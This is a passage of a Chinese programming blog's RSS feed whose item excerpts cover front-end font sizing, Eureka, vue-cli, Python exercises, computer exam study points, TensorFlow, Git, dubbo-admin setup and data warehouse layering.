PN的可行性&#xA;通知公告&#xA;1.本站资源来源于网络，仅供学习交流，严禁用于商业用途，否则一切后果自负.&#xA;2免责申明：本公众号所载文章为本公众号原创或根据网络搜索编辑整理，文章版权归原作者所有。因转载众多，无法找到真正来源，如标错来源，或对于文中所使用的图片，资料，下载链接中所包含的软件，资料等，如有侵权，请跟我们联系协商或删除，谢谢！&#xA;3.技术资料，仅供参考；由此引起的一切后果，概不负责.&#xA;更多资料&#xA;公众号: 百舜NET微信群：工业自动化交流群 </description>
    </item>
    <item>
      <title>根据dpr设置html fontsize,如何为不同移动设备设置html不同的font-size？</title>
      <link>https://bchobby.github.io/posts/efe9bb079c9dafd02a7eddd25980e3bf/</link>
      <pubDate>Wed, 16 Jun 2021 00:31:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efe9bb079c9dafd02a7eddd25980e3bf/</guid>
      <description>iPhone6的屏幕下1rem=50px&#xA;或者用css&#xA;html{font-size:calc(100vw / 7.5);}&#xA;分割线&#xA;抱歉，之前的那段js代码兼容性不是很好，包括那段css代码，只要在低版本的安卓手机上就会失效，找了很久找到一段代码分享一下，兼容性杠杠的&#xA;(function(){&#xA;var originWidthByDesign = 750 / 2;&#xA;var originRootFontSize = 50;&#xA;var maxLimitWidth = 667;&#xA;var doc = document.documentElement;&#xA;var div = document.createElement(&#39;div&#39;);&#xA;div.setAttribute(&#39;style&#39;, &#39;font-size: 1rem&#39;);&#xA;if (!!document.addEventListener &amp;amp;&amp;amp; &#39;1rem&#39; === div.style.fontSize) {&#xA;var reCalculate = function reCalculate() {&#xA;var clientWidth = doc.clientWidth;&#xA;if (!clientWidth) {&#xA;return;&#xA;}&#xA;clientWidth = clientWidth &amp;lt; maxLimitWidth ? clientWidth : maxLimitWidth;&#xA;doc.style.fontSize = originRootFontSize * clientWidth / originWidthByDesign + &#39;px&#39;;</description>
    </item>
    <item>
      <title>关于Eureka注册中心启动报错的原因</title>
      <link>https://bchobby.github.io/posts/6721edd860744705968c28d7a22f212e/</link>
      <pubDate>Tue, 15 Jun 2021 22:52:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6721edd860744705968c28d7a22f212e/</guid>
      <description>启动项目最后一句直接爆错&#xA;DiscoveryClient_EUREKA-SERVER/localhost:eureka-server:7600 - registration status: 404&#xA;启动类上看是不是@EnableDiscoveryClient这个注解，如果是就换成@EnableEurekaClient，两个服务都要换成这个，再试一下就好了。@EnableDiscoveryClient可以发现任何一种注册中心，而@EnableEurekaClient只能发现eureka的注册中心。还有一个是204的错误，这个我刚刚也试出来了，server1和server2的注解不一样导致的。恳请各位大佬指点。</description>
    </item>
    <item>
      <title>kindeditor 文章编辑 文章发布都是html代码,KindEditor 3.5 发布，开源的HTML在线编辑器...</title>
      <link>https://bchobby.github.io/posts/f50762077931eff03bc9ed32b13ae432/</link>
      <pubDate>Tue, 15 Jun 2021 18:36:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f50762077931eff03bc9ed32b13ae432/</guid>
      <description>2)右键菜单(contextmenu)：支持左侧小图标、分割线，外观更美观。&#xA;3)菜单(menu)：标题、字体、文字大小、颜色可以反映当前状态。&#xA;4)表情：增加分页和预览，通过allowPreviewEmoticons属性可关闭预览表情功能。&#xA;5)弹出框(dialog)：弹出框支持阴影效果，通过shadowMode可关闭阴影效果。&#xA;6)国际化：3.5版本开始所有中文都提取到一个js里，制作其它语言版本只需要翻译src/lang/zh_CN.js即可。&#xA;7)新接口：引入KE.html, KE.text, KE.selectedHtml, KE.insertHtml, KE.appendHtml, KE.isEmpty等函数。&#xA;其它改善和bugfix：&#xA;--------&#xA;* 改善: 编辑器底部显示向下拖动指示图标。&#xA;* 改善: 点击编辑器外的页面其它部位时关闭菜单。&#xA;* 改善: 移除编辑器时将编辑器内容设置到原来的textarea。&#xA;* 改善: 从外部粘贴内容时自动将font转换成span标签。&#xA;* 改善: ASP.NET程序改成ashx，使用时不需要编译。&#xA;* BUG: 改善了文章内容比较多时速度比较慢的问题。&#xA;* BUG: 修改了在IE上选中图片或表格后无法用backspace键删除的问题。&#xA;* BUG: 修改了在Firefox上全屏后浏览器一直处于加载状态的问题。&#xA;* BUG: 修改了在非IE上DOMContentLoaded事件不起作用的问题。&#xA;* BUG: 修改了删除编辑器时没有销毁事件的问题。&#xA;* BUG: 修改了设置成无颜色时其它样式也被删除的问题。&#xA;* BUG: 修改了拖动时拖到浏览器外面放开鼠标后会粘住的问题。&#xA;* BUG: 修改了在Firefox上pre标签自动生成br标签的问题。&#xA;* BUG: 修改了在IE6上用KE.cmd.wrap方法设置class属性后没有效果的问题。&#xA;* BUG: 修改了在P标签内没选中内容时无法插入超级链接的问题。&#xA;* BUG: 修改了使用快捷键加粗体、斜体、下划线时没有同步的问题。&#xA;演示：&#xA;--------&#xA;下载：&#xA;--------</description>
    </item>
    <item>
      <title>vue-cli 卸载不掉</title>
      <link>https://bchobby.github.io/posts/05c53f756c01721c1bf3dc35697843bc/</link>
      <pubDate>Tue, 15 Jun 2021 15:47:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05c53f756c01721c1bf3dc35697843bc/</guid>
      <description>1.用了npm uni vue-cli -g和cnpm uni vue-cli -g两种办法都卸载不掉&#xA;2.输入npm config ls -l，在信息里面找到userconfig，把该文件删掉&#xA;3.输入where vue，把这两个文件删掉&#xA;4.输入vue -V，会显示&#xA;‘vue’ 不是内部或外部命令，也不是可运行的程序&#xA;或批处理文件。&#xA;已经删掉了</description>
    </item>
    <item>
      <title>python的Q&amp;A（3）：实现斐波那契数列</title>
      <link>https://bchobby.github.io/posts/7ef9bc4fe2203ccb52a109bfc1debac8/</link>
      <pubDate>Tue, 15 Jun 2021 12:55:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ef9bc4fe2203ccb52a109bfc1debac8/</guid>
      <description>实现斐波那契数列&#xA;思路：&#xA;首先要知道，斐波那契数列的意思。&#xA;在数学上，斐波那契数列以如下被以递推的方法定义：F(0)=0，F(1)=1, F(n)=F(n - 1)+F(n - 2)（n ≥ 2，n ∈ N*）&#xA;#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author:九九的金金子 &#34;&#34;&#34; 实现斐波那契数列 递推法 递推法就是从0和1开始，前两项相加逐个求出第3、第4个数，直到求出第n个数的值。 &#34;&#34;&#34; def fib(n): if n == 0: # F(0)=0 return 0 if n == 1: # F(1)=1 return 1 if n &amp;gt;= 2: return fib(n - 1) + fib(n - 2) # F(n)=F(n - 1)+F(n - 2)（n ≥ 2，n ∈ N*） else: print(&#34;n必须为自然数&#34;) for i in range(11): # i作为n值 print(fib(i), end=&#34;</description>
    </item>
    <item>
      <title>计算机考试用到的英语词汇,计算机专业英语 考试词汇</title>
      <link>https://bchobby.github.io/posts/c5174c7914ebc93b6b9b247558dd68f8/</link>
      <pubDate>Tue, 15 Jun 2021 12:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5174c7914ebc93b6b9b247558dd68f8/</guid>
      <description>计算机专业英语考试复习词汇&#xA;第1章Introduction to the Digital Computer&#xA;数字计算机：digital computer&#xA;数据处理系统：data processing system 程序设计：programming 程序语句：statement 真空管：vacuum-tube 晶体管：transistor&#xA;电子线路：electronic circuitry 集成电路：IC integrated circuit&#xA;大规模集成电路：LSI large scale integration 或者large scale integrated circuit 开关：switch&#xA;计算：computation 变量：variable 算法：algorithm&#xA;信息技术：information technology 程序设计语言：programming language 数据库：database&#xA;操作系统：operating system 软件工程：software engineering 编译程序：compiler 编辑程序：editor 加法器：adder 计数器：counter&#xA;计算机网络：computer network&#xA;人机接口：human-computer interface 增加：insert 删除：delete 更新：update 检索：retrieval 软件：software 硬件：hardware&#xA;外部设备：peripheral 输入设备：input unit 输出设备：output unit 存储器：memory unit&#xA;中央处理器：CPU central processing unit 键盘：keyboard&#xA;视频显示终端：video display terminal 主存储器：main memory 辅助存储器：auxiliary memory 内部存储器：internal memory 外部存储器：external memory</description>
    </item>
    <item>
      <title>《嵌入式C语言》-第二章 C语言数据的操作</title>
      <link>https://bchobby.github.io/posts/13dd2314f99d0f7c934345e84171e19a/</link>
      <pubDate>Tue, 15 Jun 2021 12:07:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13dd2314f99d0f7c934345e84171e19a/</guid>
      <description>目录&#xA;5 C语言字符集&#xA;5.1 C语言字符集是ASCII字符集的子集&#xA;5.2 C语言的字符集构成C语言的基本元素：标识符、运算符&#xA;5.3 数据类型的分类&#xA;6常量与变量&#xA;6.1 常量&#xA;6.2 变量&#xA;7 C语言运算符&#xA;7.1算术运算符&#xA;7.2赋值运算符&#xA;8表达式和语句&#xA;8.1 C表达式&#xA;8.2 C语句&#xA;C语言的代码是由英文字符构成的，所有的字符皆来自键盘的输入，所以我们需要了解C语言的字符集的特点和使用规则。&#xA;5 C语言字符集 字符是可以区分的最小符号，是构成程序的基础。包括：&#xA;英文字母：a~z , A~Z;0~9;特殊字符：_ 空格 ! # % 等 由字符可构成进一步的语法成分，如标识符、关键字和特殊运算符等。&#xA;5.1 C语言字符集是ASCII字符集的子集 ASCII (美国信息交换标准代码) 表&#xA;5.2 C语言的字符集构成C语言的基本元素：标识符、运算符 标识符在程序中用来标识各种程序成分，命名程序中的一些实体:关键字、变量名、符号常量名、函数名、数组名、类型名、文件名的有效字符序列。&#xA;标识符的表现形式是字母，数字，下划线，开头必须是英文字母或下划线&#xA;示例：&#xA;#include &amp;lt;stdio.h&amp;gt; unsigned char _uc; int i; void main(void) { _uc = 1; i = 100; } 5.3 数据类型的分类 嵌入式C语言编程的目的：操作单片机芯片的内部资源，以满足由这个单片机构成的产品的使用需求。这就要求我们编程的代码里的各种变量、运算、组织逻辑与单片机内部的资源建立起对应的关系，所以程序运行的内存空间应尽可能的节省，运算的步骤尽可能的少等等。&#xA;数据类型分类就是为了更好的利用内存，标准化操作和编码方式，表明占据存储空间的多少及构造特点，就是杀鸡就不需要用牛刀。&#xA;通过基本数据类型我们就已经可以编程去完成一定的项目任务。&#xA;示例：//通过单片机点亮一个灯</description>
    </item>
    <item>
      <title>python的Q&amp;A（2）：字符串反转输出</title>
      <link>https://bchobby.github.io/posts/7888cc5355fac389b9c4d8452d0ec2a0/</link>
      <pubDate>Tue, 15 Jun 2021 11:35:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7888cc5355fac389b9c4d8452d0ec2a0/</guid>
      <description>字符串反转输出。&#xA;思路：&#xA;1.将字符串转成列表：list(str)&#xA;2.将列表进行反转：list.reverse()&#xA;3.将列表转成字符串：“”.join(list)&#xA;#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Author:九九的金金子 &#34;&#34;&#34;字符串反转输出&#34;&#34;&#34; str = input(&#34;请输入字符串：&#34;) # 字符串编程列表 arr_str = list(str) # 列表反转 arr_str.reverse() # 列表变成字符串 new_str = &#34;&#34;.join(arr_str) print(new_str) 运行结果：请输入字符串：qwertyu uytrewq</description>
    </item>
    <item>
      <title>计算机一级考试选择题知识点,计算机一级选择题必背知识点有哪些？快来了解一下...</title>
      <link>https://bchobby.github.io/posts/bd63635b5c3430ce597df7ab31e65b57/</link>
      <pubDate>Tue, 15 Jun 2021 11:17:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd63635b5c3430ce597df7ab31e65b57/</guid>
      <description>计算机一级选择题必背知识点有哪些？快来了解一下&#xA;2019-11-0516:26:20&#xA;来源： 作者：songzini&#xA;计算机一级考试中选择题一共有20道，所占分值比例为20%，比重比较大，同时也是得分的关键点，因此备考时要好好复习选择题的相关知识考点，争取拿到更多的分数。&#xA;计算机一级选择题必背知识点如下所示：&#xA;1. 计算机的发展史：1946年在美国宾夕法尼亚大学制造了第一台计算机ENIAC。计算机至今为止已发展了四代，采用的元器件分别为：电子管、晶体管、小规模集成电路、大规模及超大规模集成电路。&#xA;2. 计算机的特点：速度快、精度高、容量大、有逻辑判断能力。&#xA;3. 计算机的应用：计算机辅助设计CAD，计算机辅助制造CAM、计算机辅助教学CAI，计算机集成制造系统CIMS。&#xA;4. 计算机的语言发展：机器语言、汇编语言、高级语言。由高级语言到机器能够识别的语言有两种方法：编译(形成目标程序)及解释(不形成目标程序)。&#xA;5. 病毒：是一种具有破坏性的程序，特点是：潜伏性、隐藏性、传染性及破坏性。&#xA;6. 病毒的主要传播途径：软盘、U盘及网络等，为计算机一级选择题。&#xA;7. 病毒往往先于杀毒软件的出现，即先有病毒，后有杀毒软件。&#xA;8. 微型计算机的组成：硬件系统及软件系统。硬件设备包括：运算器、控制器、存储器、输入设备及输出设备。运算器与控制器组成了计算机中最核心的部件：CPU(中央处理器)。软件系统包括：系统软件及应用软件。&#xA;9. 存储器分为内存储器(内存)及外存储器(硬盘、软盘等)。内存储器存取速度快、容量小、价格高，外存储器速度慢、容量大、价格低。&#xA;10. 既可做输入设备又可做输出设备的是：光盘驱动器及软盘驱动器。&#xA;11. 内存储器分为只读存储器(ROM)及随机读写存储器(RAM)。&#xA;12. ASCII码(占一个字节)的规律：从小到大：0~9，A~Z，a~z。&#xA;13. 位：计算机中最小的信息单位。&#xA;14. 字节(Byte)：计算机中最小的存储单位。&#xA;15. 字节换算(B)：1B=8bits 1KB=1024B 1MB=1024KB 1GB=1024MB。&#xA;16. 进制转换：十进制——二进制：除2逆取余;&#xA;二进制——十进制：按权展开法，&#xA;二进制——十六进制：以四换一或以一换四。&#xA;17. 二进制的逻辑运算：逻辑与，逻辑或，逻辑非运算。&#xA;18. 国标码(GB2312)：汉字共6763个，其中一级汉字3755个，按拼音字母排列;二级汉字3008个，按部首排列。&#xA;19. 区位码(94*94)最重要的特征是：无重码。&#xA;20. 机内码：汉字在计算机内部的存储，每个汉字占用两个字节，每个字节的最高位为1。&#xA;熟记知识点的同时，也不要忘记多去上学吧计算机一级考试题库上，多做做题目，熟悉各知识点的出题方式，了解考试题型，这样才能更有效掌握知识点，帮助考试得分。&#xA;免下载，即可体验强大搜题神器&#xA;温馨提示：因考试政策、内容不断变化与调整，上学吧提供的以上信息仅供参考，如有异议，请考生以权威部门公布的内容为准。</description>
    </item>
    <item>
      <title>计算机一级考试选择题知识点,计算机一级选择题必背知识点 考试题型有哪些...</title>
      <link>https://bchobby.github.io/posts/795d3146ae576f250600c898da9f373f/</link>
      <pubDate>Tue, 15 Jun 2021 11:17:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/795d3146ae576f250600c898da9f373f/</guid>
      <description>计算机一级考试有三个科目，分别是一级MS Office、一级WPS Office、一级Photoshop。因此考试题型也分为三个科目。那么计算机一级选择题必背的知识点有哪些呢。&#xA;计算机一级选择题必背知识点有哪些&#xA;1.&#xA;计算机的发展史：1946年在美国宾夕法尼亚大学制造了第一台计算机ENIAC。计算机至今为止已发展了四代，采用的元器件分别为：电子管、晶体管、小规模集成电路、大规模及超大规模集成电路。&#xA;2. 计算机的特点：速度快、精度高、容量大、有逻辑判断能力。&#xA;3. 计算机的应用：计算机辅助设计CAD，计算机辅助制造CAM、计算机辅助教学CAI，计算机集成制造系统CIMS。&#xA;4. 计算机的语言发展：机器语言、汇编语言、高级语言。由高级语言到机器能够识别的语言有两种方法：编译(形成目标程序)及解释(不形成目标程序)。&#xA;5. 病毒：是一种具有破坏性的程序，特点是：潜伏性、隐藏性、传染性及破坏性。&#xA;6. 病毒的主要传播途径：软盘、U盘及网络等，为计算机一级选择题。&#xA;7. 病毒往往先于杀毒软件的出现，即先有病毒，后有杀毒软件。&#xA;8.&#xA;微型计算机的组成：硬件系统及软件系统。硬件设备包括：运算器、控制器、存储器、输入设备及输出设备。运算器与控制器组成了计算机中最核心的部件：CPU(中央处理器)。软件系统包括：系统软件及应用软件。&#xA;9. 存储器分为内存储器(内存)及外存储器(硬盘、软盘等)。内存储器存取速度快、容量小、价格高，外存储器速度慢、容量大、价格低。&#xA;10. 既可做输入设备又可做输出设备的是：光盘驱动器及软盘驱动器。&#xA;11. 内存储器分为只读存储器(ROM)及随机读写存储器(RAM)。&#xA;12. ASCII码(占一个字节)的规律：从小到大：0~9，A~Z，a~z。&#xA;13. 位：计算机中最小的信息单位。&#xA;14. 字节(Byte)：计算机中最小的存储单位。&#xA;15. 字节换算(B)：1B=8bits 1KB=1024B 1MB=1024KB 1GB=1024MB。&#xA;16. 进制转换：十进制——二进制：除2逆取余;&#xA;二进制——十进制：按权展开法，&#xA;二进制——十六进制：以四换一或以一换四。&#xA;17. 二进制的逻辑运算：逻辑与，逻辑或，逻辑非运算。&#xA;18. 国标码(GB2312)：汉字共6763个，其中一级汉字3755个，按拼音字母排列;二级汉字3008个，按部首排列。&#xA;19. 区位码(94*94)最重要的特征是：无重码。&#xA;20. 机内码：汉字在计算机内部的存储，每个汉字占用两个字节，每个字节的最高位为1。&#xA;计算机一级考试题型有哪些&#xA;首先是计算机一级 MS Office的题型，主要分为选择题与操作题：&#xA;一、计算机考试一级选择题，分20道小题(20分)&#xA;二、Windows操作(10分)&#xA;三、Word操作(25分)&#xA;四、Excel操作(20分)&#xA;五、PPT演示文稿操作(15分)&#xA;六、IE浏览器的简单使用/收发电子邮件(10分)&#xA;然后是计算机考试一级WPS office的题型：&#xA;一、选择题(计算机基础知识和网络的基本知识)。(20 分)&#xA;二、Windows 操作系统的使用。(10 分)&#xA;三、WPS 文字的操作。(25 分)</description>
    </item>
    <item>
      <title>creo2分割体积块</title>
      <link>https://bchobby.github.io/posts/9951871da8fa10f07b2bd92cac7f90f0/</link>
      <pubDate>Mon, 14 Jun 2021 21:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9951871da8fa10f07b2bd92cac7f90f0/</guid>
      <description>单击 “模具体积块” &amp;gt; “体积块分割”。&#xA;选择“参考零件切除”体积块&#xA;*分割参考零件之前，必须将其从工件中切除。在“体积块分割”选项卡上，单击参考零件切除，然后从工件或夹模器中切除参考零件。&#xA;选择体积块和分型面。可以选择一个或多个分型面、面组或体积块。 • 确保分型面与工件或夹模器相交，并且不会自身相交。&#xA;• 可以重命名分割后所创建的体积块。&#xA;单击 “确定”(OK)。</description>
    </item>
    <item>
      <title>使用TensorFlow 构建更深层次的神经网络</title>
      <link>https://bchobby.github.io/posts/1e37a5c65c070ee9fca00cd7f4a158eb/</link>
      <pubDate>Sun, 13 Jun 2021 20:35:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e37a5c65c070ee9fca00cd7f4a158eb/</guid>
      <description>1使用TensorFlow 构建更深层次的神经网络 from IPython.display import Image %matplotlib inline 1.1Tensorflow的核心特征 Tensorflow的核心为计算图。版本1中的静态计算图具有一些优点，如后台图形优化和支持更加广泛的硬件设备。然而，静态计算图需要单独的&#xA;图形声明和图形计算步骤，这使得用户在交互式开发和使用NN的时候比较麻烦。&#xA;Tensorflow2支持了动态计算图。动态计算图允许图形声明和图形计算步骤的交叉。如此对于Python和Numpy用户，这显得更加自然。&#xA;但是，在Tensorflow2中依然支持版本1,不过需要通过tf.compat子模块实现调用。&#xA;1.1.1TensorFlow2中的计算图 Tensorflow的计算操作基于有向无环图DAG（directed acyclic graph）。&#xA;1.1.2通过实例了解计算图 Tensorflow利用计算图来推导从输入到输出的张量之间的关系。&#xA;对于标量(scalar) a , b , c a,b,c a,b,c，理解为是秩为0的张量。需要计算如下表达式：&#xA;z = 2 × ( a − b ) + c z=2\times(a-b)+c z=2×(a−b)+c&#xA;上述计算过程的几何表示如下：&#xA;# 上述计算的几何表示 Image(filename=&#39;images/01.png&#39;, width=500) 如上所示，计算图就是一个简单的节点网络。每个节点类似于一个操作，该操作将一个函数应用于其输入张量或当前张量，并返回0个或者多个张量&#xA;作为输出。Tensorflow构建这个计算图，并使用其计算相应的梯度。&#xA;1.1.3使用TensorFlow v1.x 创建计算图 在早期的Tensorflow版本中，计算图需要显式地声明。版本1中主要步骤包括：&#xA;1.实例化一个新的、空计算图；&#xA;2.向计算图中添加节点(即张量和操作)；&#xA;3.执行计算图：&#xA;- 开始一个新的session会话； - 初始化计算图中的变量值； - 在当前会话中执行计算图； 下面为使用Tensorflow1实现的计算图，其中 a , b , c a,b,c a,b,c都为标量，即单个的数值。Tensorflow1中通过调用*tf.Graph()*进行计算图的显式声明。&#xA;import tensorflow as tf import numpy as np import pandas as pd import matplotlib.</description>
    </item>
    <item>
      <title>西门子博图指令(定时器操作四)</title>
      <link>https://bchobby.github.io/posts/8cd2120967d674801d22323b04e1d828/</link>
      <pubDate>Sun, 13 Jun 2021 20:09:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cd2120967d674801d22323b04e1d828/</guid>
      <description>定时器功能指令介绍四 综述加载脉冲定时器持续时间介绍程序程序演示 加载接通延时定时器持续时间介绍程序程序演示 加载关断延时定时器持续时间介绍程序程序演示 加载时间累加器持续时间介绍程序程序演示 源程序 综述 主要介绍加载定时器持续时间功能块，仿真模拟的PLC为1200系列。1&#xA;通过修改加载定时器参数，可以加载脉冲定时器、接通延时定时器、关断延时定时器、时间累加器。&#xA;接口参数声明数据类型说明持续时间InputS1200 TIME&#xA;S1500 TIME、LTIMEIEC 定时器运行的持续时间IEC定时器InOutS1200 IEC_TIMER、TP_TIME, TON_TIME、TOF_TIME, TONR_TIME&#xA;S1500 IEC_TIMER、IEC_LTIMER、TP_TIME, TP_LTIME, TON_TIME, TON_LTIME、TOF_TIME、TOF_LTIME, TONR_TIME, TONR_LTIME设置了持续时间的 IEC 定时器。 加载脉冲定时器持续时间 修改脉冲定时器的预设值。&#xA;介绍 当PT功能块接通后，TP功能块的时间预设值以PT功能块设定值为准。如果PT功能块断开，TP功能块的时间预设值以自身PT接口存储的时间为准。&#xA;以上述图片为例，当PT功能块接通后，脉冲定时器PT的时间预设值为5s，当PT功能块断开后，脉冲定时器TP的时间预设值为10S。&#xA;程序 程序演示 加载接通延时定时器持续时间 介绍 当PT功能块接通后，TON功能块的时间预设值以PT功能块设定值为准。如果PT功能块断开，TON功能块的时间预设值以自身PT接口存储的时间为准。&#xA;以上述图片为例，当PT功能块接通后，关断延时定时器PT的时间预设值为5s，当PT功能块断开后，关断延时定时器TP的时间预设值为10S。&#xA;程序 程序演示 加载关断延时定时器持续时间 介绍 当PT功能块接通后，TOF功能块的时间预设值以PT功能块设定值为准。如果PT功能块断开，TOF功能块的时间预设值以自身PT接口存储的时间为准。&#xA;以上述图片为例，当PT功能块接通后，接通延时定时器PT的时间预设值为5s，当PT功能块断开后，接通延时定时器TP的时间预设值为10S。&#xA;程序 程序演示 加载时间累加器持续时间 介绍 当PT功能块接通后，TONR功能块的时间预设值以PT功能块设定值为准。如果PT功能块断开，TONR功能块的时间预设值以自身PT接口存储的时间为准。&#xA;以上述图片为例，当PT功能块接通后，时间累加器PT的时间预设值为5s，当PT功能块断开后，接通延时定时器TP的时间预设值为10S。&#xA;程序 程序演示 源程序 订货号:6ES7 214-1AG40-0XB0 ↩︎</description>
    </item>
    <item>
      <title>dubbo-admin可视化界面详细步骤安装</title>
      <link>https://bchobby.github.io/posts/ffdba2873bc2309a28356b5b1f2006f5/</link>
      <pubDate>Sun, 13 Jun 2021 14:56:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffdba2873bc2309a28356b5b1f2006f5/</guid>
      <description>dubbo-admin 是dubbo的管理界面平台，且是一个前后端分离的项目，前端使用vue，后端使用springboot。&#xA;进入GitHub中下载zip包：https://github.com/apache/dubbo-admin&#xA;将dubbo-admin-develop.zip压缩包解压，并进入该目录。&#xA;修改zk的ip跟端口，修改位置为：G:\dubbo-admin-develop\dubbo-admin-server\src\main\resources\application.properties&#xA;由于dubbo需要使用注册中心，dubbo-admin里面使用的是zookeeper，因此需要先安装zk，并启动服务器。&#xA;具体安装请看：https://blog.csdn.net/xueyijin/article/details/117710340&#xA;安装好zookeeper的时候，又因为zk在使用3.6版本之后，会默认占用8080端口，而我们知道后端服务器大部分都是使用8080端口，因此我们需要修改zk配置，放过8080端口。&#xA;具体请看：https://blog.csdn.net/xueyijin/article/details/117876822&#xA;在dubbo-admin-develop目录打开cmd，并输入 mvn clean package,重新打包一下，会下载很多jar包，需要慢慢等待。&#xA;成功之后进入：G:\dubbo-admin-develop\dubbo-admin-distribution\target目录下，里面会有的dubbo-admin-0.3.0-SNAPSHOT.jar包，这个jar包是springboot工程，直接使用命令行，java -jar dubbo-admin-0.3.0-SNAPSHOT.jar ，启动了后端。&#xA;然后进入到dubbo-admin-ui 即前端目录下，在该目录下启动cmd，执行 npm run dev 启动vue。&#xA;有些error不用理，直接输入下面http://localhost:8082&#xA;网站运行结果如下(账号密码默认都是root)：</description>
    </item>
    <item>
      <title>【Web】Windows下的Web服务器</title>
      <link>https://bchobby.github.io/posts/fc86eab2da856bc3c86807b568409aea/</link>
      <pubDate>Sat, 12 Jun 2021 23:13:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc86eab2da856bc3c86807b568409aea/</guid>
      <description>说明 默认Windows下的Web服务器是关闭的，可以通过控制面板打开：&#xA;开启之后localhost进入页面：&#xA;对应的Web源代码路径是C:\inetpub\wwwroot。&#xA;默认开启的网页是iisstart.htm。&#xA;也可以替换成lighttpd和AngularJS-PhoneCat中介绍的PhoneCat。&#xA;只是需要把index.html改名成iisstart.htm，之后打开localhost就是如下的界面：&#xA;这样就可以直接在Windows下调试PhoneCat代码了。</description>
    </item>
    <item>
      <title>windows下使用Git命令行clone一个项目</title>
      <link>https://bchobby.github.io/posts/4678a74f2bbd67301c5e2a736e3cfd1e/</link>
      <pubDate>Sat, 12 Jun 2021 19:56:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4678a74f2bbd67301c5e2a736e3cfd1e/</guid>
      <description> 1.复制clone下来的HTTPS 2.在本地希望保留该项目的路径下使用git clone命令 git clone HTTPS 3.进入项目使用git remote -v 查看clone下来的是哪个仓库的项目 git remote -v，用于查看是自己的还是别人的项目，以免当有权限的时候合并出问题 4.本地对代码进行改进之后，使用git add * 修改代码之后可以使用git add * 添加上修改的文件(可以上传到github) 然后使用git commit -m &#34;本次修改的注解&#34; 5.提交先pull下来最新的代码 git pull origin 分支(一般是master) 一般一个项目是多人协作开发，每次提交自己的代码之前先进行pull操作是一个好习惯，因为有可能自己修改的文件和别人修改的文件重叠在一起，那么如果直接push上去的话，就会出现冲突，git那边不知道使用谁的代码，因而自己手动的pull下来检查代码是否有冲突，再push上去是一个不错的选择 6.push代码 git push origin 分支(一般是master) 注意：当pull代码的时候发现错误：Your local changes to the following files would be overwritten by merge，说的是pull的文件和本地的文件冲突了，解决方法是：本地进行git stash 进行修改暂存，然后再pull下来即可。 </description>
    </item>
    <item>
      <title>SpringBoot中使用常量类来判断对象某属性的值是否包含在指定集合中</title>
      <link>https://bchobby.github.io/posts/a8514e1f9c5159d475b0f88d7b6db2d7/</link>
      <pubDate>Sat, 12 Jun 2021 16:51:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8514e1f9c5159d475b0f88d7b6db2d7/</guid>
      <description>场景 在业务场景中需要判断某对象类的属性值是否是指定的集中。&#xA;为了使用方便，可以指定的几种放在一个公共模块下的常量类。&#xA;注：&#xA;博客：&#xA;https://blog.csdn.net/badao_liumang_qizhi 关注公众号&#xA;霸道的程序猿&#xA;获取编程相关电子书、教程推送与免费下载。&#xA;实现 首先在common路径下constant下新建Constants常量类&#xA;/** * 通用常量信息 * */ public class Constants { /** * 通用成功标识 */ public static final String SUCCESS = &#34;0&#34;; /** * 通用失败标识 */ public static final String FAIL = &#34;1&#34;; /** * 正常的考勤状态 */ public static final List&amp;lt;String&amp;gt; KQZT_ZC = new ArrayList&amp;lt;String&amp;gt;() { { this.add(&#34;正常上班&#34;); this.add(&#34;加班&#34;); this.add(&#34;补班&#34;); } }; } 然后在需要用到的地方&#xA;if(kqsjTian.getKqzt()!=null &amp;amp;&amp;amp; Constants.KQZT_ZC.contains(kqsjTian.getKqzt())) { kqrs++; } 调用Constans的实体判断是否包含着对象的属性值。</description>
    </item>
    <item>
      <title>数据仓库分层 (ODS、DWD、DWS)</title>
      <link>https://bchobby.github.io/posts/7846364a22429f54a0c010687c9b817f/</link>
      <pubDate>Sat, 12 Jun 2021 15:35:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7846364a22429f54a0c010687c9b817f/</guid>
      <description>数据仓库分层 1.数据仓库DW1.1简介1.2主要特点1.3与数据库的对比 2.数据分层2.1数据运营层（ODS）2.2数据仓库层（DW）2.3数据服务层/应用层（ADS） 3.附录数据库设计三范式 作者：AmyZYX 出处：http://www.cnblogs.com/amyzhu/&#xA;1.数据仓库DW 1.1简介 Data warehouse（可简写为DW或者DWH）数据仓库，是在数据库已经大量存在的情况下，为了进一步挖掘数据资源、为了决策需要而产生的，它是一整套包括了etl、调度、建模在内的完整的理论体系。数据仓库的方案建设的目的，是为前端查询和分析作为基础，主要应用于OLAP（on-line Analytical Processing），支持复杂的分析操作，侧重决策支持，听且提供直观易懂的查询结果。比较流行的有：AWS Redshift，Greenplum，Hive等。&#xA;1.2主要特点 面向主题：&#xA;操作型数据库组织面向事务处理任务，而数据仓库中的数据是按照一定的主题域进行组织。&#xA;主题是指用户使用数据仓库进行决策时所关心的重点方面，一个主题通过与多个操作型信息系统相关。&#xA;集成&#xA;需要对源数据进行加工与融合，统一与综合&#xA;在加工的过程中必须消除源数据的不一致性，以保证数据仓库内的信息时关于整个企业的一致的全局信息。（关联关系）&#xA;不可修改&#xA;DW中的数据并不是最新的，而是来源于其他数据源&#xA;数据仓库主要是为决策分析提供数据，涉及的操作主要是数据的查询&#xA;与时间相关&#xA;处于决策的需要数据仓库中的数据都需要标明时间属性&#xA;1.3与数据库的对比 DW： 专门为数据分析设计的，涉及读取大量数据以了解数据之间的关系和趋势&#xA;数据库： 